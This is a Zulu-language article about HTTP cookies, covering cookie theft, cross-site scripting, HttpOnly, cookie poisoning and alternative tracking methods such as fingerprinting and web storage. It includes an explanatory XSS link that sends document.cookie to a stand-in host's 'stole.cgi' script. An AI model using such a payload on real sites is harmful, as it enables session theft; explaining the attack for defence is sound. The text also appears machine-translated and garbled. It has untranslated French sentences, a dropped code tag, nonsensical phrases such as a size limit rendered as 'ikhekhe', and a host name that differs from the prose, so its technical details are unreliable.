Uma kusetshenziswa isiphequluli esingaphezu kwesisodwa kukhompuyutha, kuzo zonke kuhlale kuneyunithi ehlukile yokugcina amakhukhi. Ngakho-ke amakhukhi awahlonzi umuntu, kodwa inhlanganisela ye-akhawunti yomsebenzisi, ikhompuyutha, nesiphequluli sewebhu. Ngakho, noma ubani angasebenzisa lawa ma-akhawunti, amakhompyutha, noma iziphequluli ezinamakhukhi amaningi. Ngokufanayo, amakhukhi awahlukanisi phakathi kwabasebenzisi abaningi ababelana nge-akhawunti yomsebenzisi efanayo, ikhompuyutha, nesiphequluli, njengokuthi “kumakhefi e-inthanethi” nanoma iyiphi indawo enikeza ukufinyelela kwamahhala kuzinsiza zekhompyutha.

Kodwa empeleni lesi sitatimende sibonakala singamanga ezikhathini eziningi ngoba namuhla ikhompuyutha "yomuntu siqu" (noma i-smartphone, noma ithebhulethi, okubi kakhulu) isetshenziswa ikakhulukazi umuntu oyedwa. Lokhu kufana nokukhomba umuntu othile futhi ngevolumu yolwazi oluqoqiwe ifika ekuqondisweni komuntu siqu ngisho noma umuntu “engaziwa”.

Ukwebiwa kwamakhukhi

Ikhukhi lingantshontshwa enye ikhompuyutha kunethiwekhi.

Ngesikhathi sokusebenza okuvamile, amakhukhi abuyiselwa emuva phakathi kweseva (noma iqoqo lamaseva esizindeni esifanayo) kanye nesiphequluli sekhompyutha yomsebenzisi. Njengoba amakhukhi angaba nolwazi olubucayi (igama lomsebenzisi, iphasiwedi esetshenziselwa ukufakazela ubuqiniso, njll.), amanani awo akufanele afinyeleleke kwamanye amakhompyutha. Ukwebiwa kwamakhukhi kuyisenzo sokuvinjwa kwamakhukhi ngumuntu wesithathu ongagunyaziwe.

Amakhukhi angantshontshwa kusetshenziswa iphakethe lokuhogela ekuhlaselweni okubizwa ngokuthi ukudunwa kweseshini. Ithrafikhi enetheni ingabanjwa futhi ifundwe amanye amakhompyutha ngaphandle kwalawo athumelayo nawamukelayo (ikakhulukazi endaweni engabhaliwe ye-Wi-Fi yomphakathi). Le thrafikhi ihlanganisa amakhukhi athunyelwa ngezikhathi kusetshenziswa iphrothokholi engenalutho ye-HTTP. Uma ithrafikhi yenethiwekhi ingabethelwe, abasebenzisi abanonya bangakwazi ukufunda ukuxhumana nabanye abasebenzisi kunethiwekhi besebenzisa "iziduphunga zephakethe".

Le nkinga inganqotshwa ngokubhala ngekhodi ukuxhumana phakathi kwekhompyutha yomsebenzisi neseva kusetshenziswa iphrothokholi ye-HTTPS. Iseva ingacacisa a ifulege elivikelekile ngenkathi usetha ikhukhi; isiphequluli sizoyithumela kuphela ngomugqa ovikelekile, njengoxhumano lwe-SSL.

Nokho amasayithi amaningi, nakuba esebenzisa ukuxhumana okubethelwe kwe-HTTPS ukuze kugunyazwe umsebenzisi (okungukuthi, ikhasi lokungena), kamuva athumela amakhukhi esikhathi nenye idatha njengokujwayelekile, ngoxhumo lwe-HTTP olungabethelwe ngezizathu ezisebenza kahle. Ngakho abahlaseli bangakwazi ukuvimba amakhukhi abanye abasebenzisi futhi bazenze kumasayithi afanele noma bawasebenzise ekuhlaselweni kwamakhukhi.

Ukubhala kusayithi: ikhukhi okufanele ishintshwe kuphela phakathi kweseva neklayenti ithunyelwa komunye umuntu.

Enye indlela yokweba amakhukhi ukubhala amasayithi futhi wenze isiphequluli ngokwaso sithumele amakhukhi kumaseva ayingozi angawatholi. Iziphequluli zesimanje zivumela ukwenziwa kwezingxenye ezifunwayo zekhodi kusuka kuseva. Uma amakhukhi efinyelelwa ngesikhathi sokusebenza, amanani awo angase adluliselwe ngenye indlela kumaseva okungafanele afinyelele kuwo. Ukubethela amakhukhi ngaphambi kokuthi athunyelwe ngenethiwekhi akusizi ukuvimba ukuhlasela.

Lolu hlobo lokubhalwa kwe-in-site scripting ngokuvamile lusetshenziswa abahlaseli kumasayithi avumela abasebenzisi ukuthumela okuqukethwe kwe-HTML. Ngokuhlanganisa ingxenye yekhodi ehambisanayo kumnikelo we-HTML, umhlaseli angathola amakhukhi kwabanye abasebenzisi. Ulwazi lwalawa makhukhi lungasetshenziswa ngokuxhuma kusayithi elifanayo usebenzisa amakhukhi antshontshiwe, ngaleyo ndlela kuqashelwe njengomsebenzisi amakhukhi akhe antshontshiwe.

Enye indlela yokuvimbela ukuhlaselwa okunjalo ukusebenzisa ifulegi le-HttpOnly; kuyinketho, eyethulwe kusukela kunguqulo yesi-6 ye-Internet Explorer ku-PHP kusukela kunguqulo 5.2.0 ehlelelwe ukwenza ikhukhi lingafinyeleleki kuklayenti eduze neskripthi. Kodwa-ke, abathuthukisi bewebhu kufanele bakunake lokhu ekuthuthukisweni kwesayithi labo ukuze bangavikeleki ekubhalweni kusayithi.

Olunye usongo lwezokuphepha olusetshenzisiwe ukwakhiwa kwesidingo esizeni.

Ukucaciswa okusemthethweni okusemthethweni kuvumela amakhukhi ukuthi abuyiselwe kumaseva kuphela esizindeni asuka kuso. Nokho, inani lamakhukhi lingathunyelwa kwezinye iziphakeli kusetshenziswa ezinye izindlela ngaphandle kwezihloko zamakhukhi.

Ikakhulukazi, izilimi zokubhala ezifana ne-JavaScript zivame ukuvunyelwa ukufinyelela amanani ekhukhi futhi ziyakwazi ukuthumela amanani angafanele kunoma iyiphi iseva ku-inthanethi. Leli khono lokubhala lisetshenziswa kusukela kumawebhusayithi avumela abasebenzisi ukuthumela okuqukethwe kwe-HTML ukuze abanye abasebenzisi bakubuke.

Ngokwesibonelo, umhlaseli osebenza esizindeni se-example.com angase athumele amazwana aqukethe isixhumanisi esilandelayo esikhomba kubhulogi edumile angawalawuli ngenye indlela:

<a href="#" onclick="window.location = 'http://exemple.com/stole.cgi?text=' + escape(document.cookie); return false;">Cliquez ici !</a>

Uma omunye umsebenzisi echofoza lesi sixhumanisi, isiphequluli sisebenzisa ingxenye yokuchofoza yokuchofoza yekhodi, ngakho sithatha isikhundla seyunithi yezinhlamvu ze-document.cookie ngohlu lwamakhukhi omsebenzisi asebenzayo kuleli khasi. Ngakho-ke, lolu hlu lwamakhukhi luthunyelwa kuseva ye-example.com, futhi umhlaseli uyakwazi ukuqoqa amakhukhi alo msebenzisi.

Lolu hlobo lokuhlasela kunzima ukulubona ohlangothini lomsebenzisi ngoba umbhalo uvela esizindeni esifanayo esisetha ikhukhi, futhi umsebenzi wokuthumela amanani kubonakala sengathi ugunyazwe yileso sizinda. Kucatshangwa ukuthi kuyisibopho sabaphathi abasebenzisa lolu hlobo lwesayithi ukubeka imingcele evimbela ukushicilelwa kwekhodi enonya.

Amakhukhi awabonakali ngokuqondile ezinhlelweni eziseceleni kweklayenti njenge-JavaScript uma ethunyelwe nefulegi le-HttpOnly. Ngokombono weseva, umehluko kuphela ukuthi kulayini wesihloko se-Set-Cookie kunezelwa inkambu entsha equkethe iyunithi yezinhlamvu ethi HttpOnly:

Set-Cookie: RMID=732423sdfs73242; expires=Fri, 31-Dec-2010 23:59:59 GMT; path=/; domain=.exemple.net; HttpOnly

Uma isiphequluli sithola ikhukhi elinjalo, kufanele silisebenzise ngokujwayelekile ekushintshisaneni okulandelayo kwe-HTTP, kodwa ngaphandle kokulenza libonakale emibhalweni ebhalwe ohlangothini lweklayenti. Ifulegi le-HttpOnly aliyona ingxenye yanoma iziphi izicaciso ezisemthethweni, futhi awenziwa kuzo zonke iziphequluli. Qaphela ukuthi okwamanje ayikho indlela yokuvimbela ukufundwa nokubhalwa kwamakhukhi weseshini ngendlela ye-XMLHTTPRequest.

Ukuguqulwa kokuqukethwe: umhlaseli uthumela ikhukhi elingavumelekile kuseva, okungenzeka ukuthi lenziwe ngekhukhi elivumelekile elithunyelwe iseva.

Ukushintsha amakhukhi

Ngokushesha nje lapho amakhukhi edinga ukugcinwa futhi abuyiselwe engashintshiwe kuseva, umhlaseli angashintsha inani lamakhukhi ngaphambi kokuba abuyiselwe kuseva. Isibonelo, uma ikhukhi liqukethe inani eliphelele umsebenzisi okufanele alikhokhele izinto ezibekwe enqoleni yokuthenga yesitolo, ukushintsha leli nani kuveza iseva engcupheni yokukhokhisa umhlaseli ngaphansi kwenani lokuqala. Inqubo yokuguqula inani lamakhukhi ibizwa ubuthi bekhukhi futhi ingasetshenziswa ngemva kokwebiwa kwekhukhi ukwenza ukuhlasela kuqhubeke.

Ngendlela yokukhipha ikhukhi, umhlaseli usebenzisa kabi iphutha lesiphequluli ukuze athumele ikhukhi elingavumelekile kuseva.

Amawebhusayithi amaningi, nokho, agcina kuphela i-ID yeseshini - inombolo eyingqayizivele ekhiqizwa ngokungahleliwe esetshenziselwa ukuhlonza umsebenzisi weseshini - kukhukhi ngokwayo, kuyilapho lonke ulwazi lugcinwe kuseva. Kulokhu, le nkinga ixazululwa kakhulu.

Ukuphatha amakhukhi phakathi kwamawebhusayithi

Isayithi ngalinye kulindeleke ukuthi libe namakhukhi ayo, ngakho isayithi elilodwa akufanele likwazi ukuguqula noma ukudala amakhukhi ahlotshaniswa nenye isayithi. Ukungasebenzi kahle kwesiphequluli sewebhu kungavumela amasayithi anonya ukuthi aphule lo mthetho. Ukuxhashazwa kwesici esinjalo ngokuvamile kubizwa ngokuthi ukupheka endaweni eyodwa. Inhloso yokuhlaselwa okunjalo kungaba ukweba i-ID yeseshini.

Abasebenzisi kufanele basebenzise izinguqulo zakamuva zeziphequluli zewebhu lapho lobu bungozi bucishe buqedwe khona.

Isimo sokungqubuzana phakathi kweklayenti neseva

Ukusetshenziswa kwamakhukhi kungase kudale ukungqubuzana phakathi kwesimo seklayenti kanye nesimo esigcinwe kukhukhi. Uma umsebenzisi ethola ikhukhi bese echofoza inkinobho ethi "Emuva" yesiphequluli, isimo sesiphequluli ngokuvamile asifani nangaphambi kwalokhu kutholwa. Isibonelo, uma ubhasikidi wesitolo se-inthanethi udalwe kusetshenziswa amakhukhi, okuqukethwe kubhasikidi akukwazi ukushintsha lapho umsebenzisi ebuyela kumlando wesiphequluli: uma umsebenzisi ecindezela inkinobho ukwengeza i-athikili kubhasikidi wakhe bese echofoza "Buyisela". " inkinobho, isihloko sihlala sikulesi. Lokhu kungase kungabi inhloso yomsebenzisi, ofuna ngempela ukukhansela ukungezwa kwe-athikili. Lokhu kungaholela ekungathembekeni, ekudidekeni, kanye nezimbungulu. Ngakho abathuthukisi bewebhu kufanele baqaphele le nkinga futhi basebenzise izinyathelo zokusingatha izimo ezinjengalezi.

Ikhukhi iphelelwa yisikhathi

Amakhukhi aphikelelayo agxekwe ochwepheshe bezokuphepha bobumfihlo ngokungasethelwe ukuphelelwa yisikhathi maduzane, ngaleyo ndlela avumele amawebhusayithi ukuthi alandelele abasebenzisi futhi akhe iphrofayela yabo ngokuhamba kwesikhathi. Lesi sici samakhukhi siyingxenye yenkinga yokudunwa kweseshini, ngoba ikhukhi eliqhubekayo lingasetshenziswa ukuzenza umsebenzisi isikhathi eside.

Ukufunda futhi: GAFAM: obani? Kungani (ngezinye izikhathi) besabeka kangaka?

Ezinye izindlela zamakhukhi

Eminye imisebenzi engenziwa kusetshenziswa amakhukhi ingenziwa kusetshenziswa ezinye izindlela ezeqa amakhukhi noma ziphinde zidale amakhukhi asusiwe, okudala izinkinga zobumfihlo ngendlela efanayo (noma kwesinye isikhathi okubi kakhulu ngoba angabonakali) kunamakhukhi.

Ikheli le-IP

Abasebenzisi bangalandelelwa ngekheli le-IP lekhompyutha eshayela ikhasi. Le nqubo ibilokhu itholakala kusukela kwethulwa i-World Wide Web, njengoba amakhasi edawuniloda iseva icela ikheli le-IP lekhompyutha esebenzisa isiphequluli noma i-proxy, uma lingasetshenziswa. Iseva ingalandelela lolu lwazi ukuthi akhona yini amakhukhi asetshenziswayo. Kodwa-ke, lawa makheli awathembeki kangako ekuhlonzeni umsebenzisi kunamakhukhi ngoba amakhompyutha nama-proxi angase kwabelwane ngawo abasebenzisi abaningi, futhi ikhompuyutha efanayo ingathola ikheli le-IP elihlukile ngesikhathi ngasinye somsebenzi (njengokuthi c ngokuvamile kwenzeka ngoxhumo lwefoni) .

Ukulandelela ngamakheli asesizindeni se-inthanethi kungase kwethembeke kwezinye izimo, njengokuxhumeka kwe-broadband okugcina ikheli le-IP elifanayo isikhathi eside, inqobo nje uma amandla evuliwe.

Amanye amasistimu afana ne-Tor aklanyelwe ukugcina ukungaziwa kwe-inthanethi nokwenza ukulandelela ngekheli le-IP kungenzeki noma kungenzeki.

I-URL

Indlela enembe kakhudlwana isekelwe ekushumekeni kolwazi kuma-URL. Ingxenye yeyunithi yezinhlamvu zombuzo ye-URL iyindlela eyodwa evame ukusetshenziselwa le njongo, kodwa ezinye izingxenye zingasetshenziswa futhi. Kokubili iseva ye-Java kanye nezinqubo zeseshini ye-PHP zisebenzisa le ndlela uma amakhukhi engavunyelwe.

Le ndlela ibandakanya izicelo zeyunithi yezinhlamvu zeseva yewebhu ezixhumanisa izixhumanisi zekhasi lewebhu elizithwalayo uma zithunyelwa esipheqululini. Uma umsebenzisi elandela isixhumanisi, isiphequluli sibuyisela iyunithi yezinhlamvu yombuzo enamathiselwe kuseva.

Izinhlamvu zombuzo ezisetshenziselwa le njongo kanye namakhukhi afana kakhulu, womabili awulwazi olukhethwe ngokungafanele yiseva futhi lubuyiselwe yisiphequluli. Nokho, kunomehluko othile: uma i-URL equkethe iyunithi yezinhlamvu yombuzo isetshenziswa kabusha, ulwazi olufanayo luthunyelwa kuseva. Isibonelo, uma izintandokazi zomsebenzisi zibhalwe ngekhodi kuchungechunge lombuzo lwe-URL futhi umsebenzisi athumele leyo URL komunye umsebenzisi nge-imeyili, lowo msebenzisi uzokwazi ukusebenzisa lezo zintandokazi.

Ngakolunye uhlangothi, uma umsebenzisi efinyelela ikhasi elifanayo kabili, asikho isiqinisekiso sokuthi iyunithi yezinhlamvu efanayo izosetshenziswa zombili izikhathi. Isibonelo, uma umsebenzisi ehlala ekhasini elisuka ekhasini lesayithi langaphakathi okokuqala futhi ehlala ekhasini elifanayo esuka ekhasini langaphandle okwesibili, iyunithi yezinhlamvu yombuzo ehlobene nekhasi lesayithi ihluke, kuyilapho amakhukhi afana. .

Okunye ukungalungi kweyunithi yezinhlamvu zombuzo kuhlobene nokuvikeleka: ukugcina idatha ekhomba iseshini kuyunithi yezinhlamvu zombuzo kunika amandla noma kwenza kube lula ukuhlaselwa kokulungiswa kweseshini, ukuhlaselwa kwezithenjwa zezihlonzi, nokunye ukuxhaphaza. Ama-ID esikhathi sokudlulisa njengamakhukhi e-HTTP avikeleke kakhulu.

Inkambu yefomu efihliwe

Olunye uhlobo lokulandelela iseshini, olusetshenziswa i-ASP.NET, ukusebenzisa amafomu ewebhu anezinkambu ezifihliwe. Le nqubo ifana kakhulu nokusebenzisa iyunithi yezinhlamvu zemibuzo ye-URL ukuze iphathe ulwazi futhi inezinzuzo ezifanayo kanye nokubi; futhi uma ifomu licutshungulwa ngendlela ye-HTTP GET, izinkambu empeleni ziba ingxenye ye-URL yesiphequluli esizoyithumela lapho kuhanjiswa ifomu. Kodwa amafomu amaningi acutshungulwa nge-HTTP POST, okubangela ukuthi ulwazi lwefomu, okuhlanganisa nezinkambu ezifihliwe, zengezwe njengokufakwayo okwengeziwe okungeyona ingxenye ye-URL noma ikhukhi.

Le ndlela inezinzuzo ezimbili ngombono wokulandelela: okokuqala, ukulandelela ulwazi olubekwe kukhodi yomthombo we-HTML kanye nokokufaka kwe-POST kune-URL kuzovumela umsebenzisi ojwayelekile ukuthi agweme lokhu kulandelela; okwesibili, ulwazi lweseshini alukopishwa lapho umsebenzisi ekopisha i-URL (ukugcina ikhasi kudiski noma ukuyithumela nge-imeyili, isibonelo).

iwindi.igama

Zonke iziphequluli zewebhu ezivamile zingagcina inani elikhulu ledatha (2MB ukuya ku-32MB) nge-JavaScript kusetshenziswa isici se-window.name se-DOM. Le datha ingasetshenziswa esikhundleni samakhukhi esikhathi futhi isetshenziswa kuzo zonke izizinda. Indlela yokusebenza ingahlanganiswa nezinto ze-JSON ukuze kugcinwe isethi eyinkimbinkimbi yeziguquko zeseshini yohlangothi lweklayenti.

Okubi ukuthi iwindi ngalinye noma ithebhu ehlukene izoqale ibe nefasitela.name elingenalutho; lapho uphequlula ngamathebhu (avulwe umsebenzisi) lokhu kusho ukuthi amathebhu avulwe ngawodwana ngeke abe negama lewindi. Ukwengeza i-window.name ingasetshenziswa ukulandelela izivakashi kuwo wonke amasayithi ahlukene okungase kubangele ukukhathazeka kobumfihlo.

Kwezinye izici lokhu kungavikeleka kakhulu kunamakhukhi, ngenxa yokungabandakanywa kweseva, ngaleyo ndlela kuyenze ingathinteki ekuhlaselweni kwenethiwekhi kwamakhukhi okuhogela. Kodwa-ke, uma izinyathelo ezikhethekile zithathwa ukuze kuvikelwe idatha, kusengozini yokuhlaselwa okwengeziwe, njengoba idatha itholakala kwamanye amasayithi avuliwe efasiteleni elifanayo.

Ukuqinisekiswa kwe-HTTP

Iphrothokholi ye-HTTP ihlanganisa izimiso eziyisisekelo zokuqinisekisa ukufinyelela kanye nenhlabamkhosi yokuqinisekisa ukufinyelela, evumela ukufinyelela ekhasini lewebhu kuphela uma umsebenzisi enikeze igama lomsebenzisi nephasiwedi. okay pass. Uma iseva icela isitifiketi ukuze inikeze ukufinyelela ekhasini lewebhu, isiphequluli sisicela kumsebenzisi futhi uma sesitholiwe, isiphequluli siyasigcina futhi sisithumele kuzo zonke izicelo ezilandelayo ze-HTTP. Lolu lwazi lungasetshenziswa ukulandelela umsebenzisi.

Into eyabiwe yendawo

Uma isiphequluli sifaka i-plugin ye-Adobe Flash Player, i- izinto ezabiwe zendawo ingasetshenziswa ngenjongo efanayo namakhukhi. Kungaba ukukhetha okukhangayo konjiniyela bewebhu ngoba:

• umkhawulo kasayizi omisiwe wento okwabelwana ngayo yendawo ingu-100 KB;
• ukuhlola kokuphepha kuhlukene nokuhlolwa kwekhukhi lomsebenzisi (ukuze izinto ezabiwe zendawo zingavunyelwa uma amakhukhi engavunyelwe).

Leli phuzu lokugcina, elihlukanisa inqubomgomo yokuphatha ikhukhi kuleyo yezinto ezabiwe zasendaweni ze-Adobe kuphakamisa imibuzo mayelana nokuphathwa komsebenzisi kwezilungiselelo zakhe zobumfihlo: kufanele aqaphele ukuthi ukuphatha kwakhe amakhukhi akunawo umthelela ekuphathweni kwezinto ezabelwana ngazo endaweni, futhi ngokuphambene nalokho.

Okunye ukugxekwa kwalolu hlelo ukuthi lungasetshenziswa kuphela nge-plugin ye-Adobe Flash Player ewubunikazi hhayi indinganiso yewebhu.

Ukuphikelela kohlangothi lweklayenti

Ezinye iziphequluli zewebhu zisekela indlela yokuphikelela esekelwe kumbhalo, ovumela ikhasi ukuthi ligcine ulwazi endaweni ukuze lusetshenziswe kamuva. I-Internet Explorer, isibonelo, isekela ukwaziswa okuqhubekayo emlandweni wesiphequluli, amabhukumaka, ngefomethi egcinwe ku-XML, noma ngokuqondile nekhasi lewebhu eligcinwe kudiski. Ku-Microsoft Internet Explorer 5, kunendlela yomsebenzisi-yedatha etholakala ngokuziphatha kwe-DHTML.

I-W3C yethule ku-HTML 5 i-JavaScript API entsha yokugcinwa kwedatha eseceleni kweklayenti ebizwa ngokuthi i-Web storage futhi ihloselwe ukufaka esikhundleni samakhukhi unomphela. Kuyafana namakhukhi kodwa ngomthamo othuthuke kakhulu futhi ngaphandle kokugcina ulwazi enhlokweni yezicelo ze-HTTP. I-API ivumela izinhlobo ezimbili zokugcina iwebhu: isitoreji sasendaweni kanye neseshini yokugcina, efana namakhukhi aqhubekayo namakhukhi esikhathi (ngaphandle kokuthi amakhukhi esikhathi aphelelwa yisikhathi lapho isiphequluli sivaliwe ngenkathi indawo yokugcina isikhathi kuphelelwa yisikhathi lapho ithebhu ivaliwe), ngokulandelanayo. Isitoreji sewebhu sisekelwa yi-Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 kanye ne-Opera 10.50.

Indlela ehlukile ngokuvamile incike ekugcinweni kwesikhashana kwesiphequluli (esikhumbuzweni esikhundleni sokuvuselela) kusetshenziswa izinhlelo ze-JavaScript emakhasini ewebhu. 

Isibonelo, ikhasi lingaqukatha ithegi . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Kuleli qophelo, uhlelo luhlala kumemori yenqolobane futhi ikhasi elivakashelwe alilayishwa kabusha okwesibili. Ngakho-ke, uma uhlelo luqukethe okuguquguqukayo komhlaba jikelele (isibonelo var id = 3243242;), lesi sihlonzi sihlala sivumelekile futhi singaxhashazwa ngenye ikhodi ye-JavaScript uma ikhasi selilayishiwe futhi, noma uma ikhasi elixhumanisa uhlelo selilayishiwe. 

Ububi obukhulu bale ndlela ukuthi i-JavaScript global variable kumele imile, okusho ukuthi ngeke ishintshwe noma isuswe njengekhukhi.

isiphequluli sewebhu izigxivizo zeminwe

Izigxivizo zeminwe zesiphequluli wulwazi oluqoqwe mayelana nezilungiselelo zokucushwa kwesiphequluli ngezinjongo zokuhlonza. Lezi zigxivizo zeminwe zingasetshenziswa ukukhomba ngokugcwele noma kancane umsebenzisi we-inthanethi noma idivayisi ngisho nalapho amakhukhi ekhutshaziwe.

Ulwazi oluyisisekelo lokucushwa kwesiphequluli sewebhu sekuyisikhathi eside luqoqwa amasevisi ababukeli bewebhusayithi ngenjongo yokulinganisa ngokunembile i-traffic web yabantu kanye nokuthola izinhlobo ezihlukahlukene zokukhwabanisa ngokuchofoza. Ngosizo lwezilimi zokubhala eziseceleni kweklayenti, ukuqoqwa kolwazi kunembe kakhulu manje kungenzeka.

Ukuguqula lolu lwazi lube iyunithi yezinhlamvu encane kukhiqiza izigxivizo zeminwe zedivayisi. Ngo-2010, i-Electronic Frontier Foundation (EFF) yakala i-entropy yesigxivizo somunwe sesiphequluli ukuthi sibe okungenani. 18,1 izingcezu, futhi lokho kwakungaphambi kwentuthuko ekuphrintweni kweminwe kwekhanvasi kwengeza amabhithi angu-5,7 kuleyo entropy.

Amakhukhi ngamafuphi

Amakhukhi amafayela ombhalo amancane agcinwe isiphequluli sewebhu ku-hard drive yesivakashi sewebhusayithi futhi asetshenziswa (phakathi kwezinye izinto) ukurekhoda ulwazi mayelana nesivakashi noma uhambo lwaso ngokusebenzisa isayithi. Ngakho-ke umphathi wewebhu angakwazi ukubona imikhuba yesivakashi futhi enze kube ngokwakho ukwethulwa kwesayithi lakhe kusivakashi ngasinye; amakhukhi enze kube nokwenzeka ukukhumbula ukuthi zingaki izindatshana okufanele ziboniswe ekhasini lasekhaya noma ngisho nokugcina iziqinisekiso zokungena zanoma iyiphi inhlangano yangasese: lapho isivakashi sibuyela kusayithi, akusadingeki ukuba sithayiphe igama laso nephasiwedi ukuze zibonakale, njengoba zifundwa ngokuzenzakalela kukhukhi.

Ikhukhi linobude besikhathi obunqunyelwe, obubekwe umklami wesayithi. Bangaphinda baphelelwe yisikhathi ekupheleni kweseshini kusayithi, okuhambisana nokuvalwa kwesiphequluli. Amakhukhi asetshenziswa kakhulu ukwenza ukuphila kube lula ezivakashini futhi azethule ngolwazi olufanele. Kodwa amasu akhethekile enza kube nokwenzeka ukulandela isivakashi kumasayithi amaningana futhi ngaleyo ndlela siqoqe futhi sihlole ulwazi oluningi kakhulu ngemikhuba yakhe. Le ndlela inikeze ukusetshenziswa kwamakhukhi idumela njengendlela yokugada ephula ubumfihlo bezivakashi, ngeshwa ehambisana ngokoqobo ezimweni eziningi zokusetshenziswa ngenxa yezizathu ezingezona ezobuchwepheshe noma ezingahloniphi okulindelwe umsebenzisi. .

Ukusabela kulokhu kwesaba okusemthethweni, i-HTML 5 yethula i-JavaScript API entsha yokugcinwa kwedatha eseceleni kweklayenti ebizwa ngokuthi i-Web storage, evikeleke kakhulu futhi enamandla amakhulu, ehlose ukufaka esikhundleni samakhukhi.

Ukugcinwa kwamakhukhi

Ngezinye iziphequluli, ikhukhi lihleleka kalula, umhleli wombhalo olula njenge-Notepad wanele ukushintsha amanani awo mathupha.

Amakhukhi alondolozwa ngendlela ehlukile kuye ngesiphequluli:

• I-Microsoft Internet Explorer igcina ikhukhi ngalinye efayeleni elihlukile;
• I-Mozilla Firefox igcina wonke amakhukhi ayo efayeleni elilodwa;
• Opera igcina wonke amakhukhi ayo efayeleni elilodwa futhi iwabhale ngemfihlo (akunakwenzeka ukuwashintsha ngaphandle kwezinketho zesoftware);
• Apple Safari igcina wonke amakhukhi ayo kufayela elilodwa le-.plist lesandiso. Ukuguqulwa kuyenzeka kodwa akulula kakhulu, ngaphandle kokuthi udlule kuzinketho zesofthiwe.

Iziphequluli ziyadingeka ukuze zisekele i-minima :

• 300 amakhukhi kanyekanye;
• 4 o ikhekhe ngalinye;
• Amakhukhi angu-20 umsingathi ngamunye noma isizinda.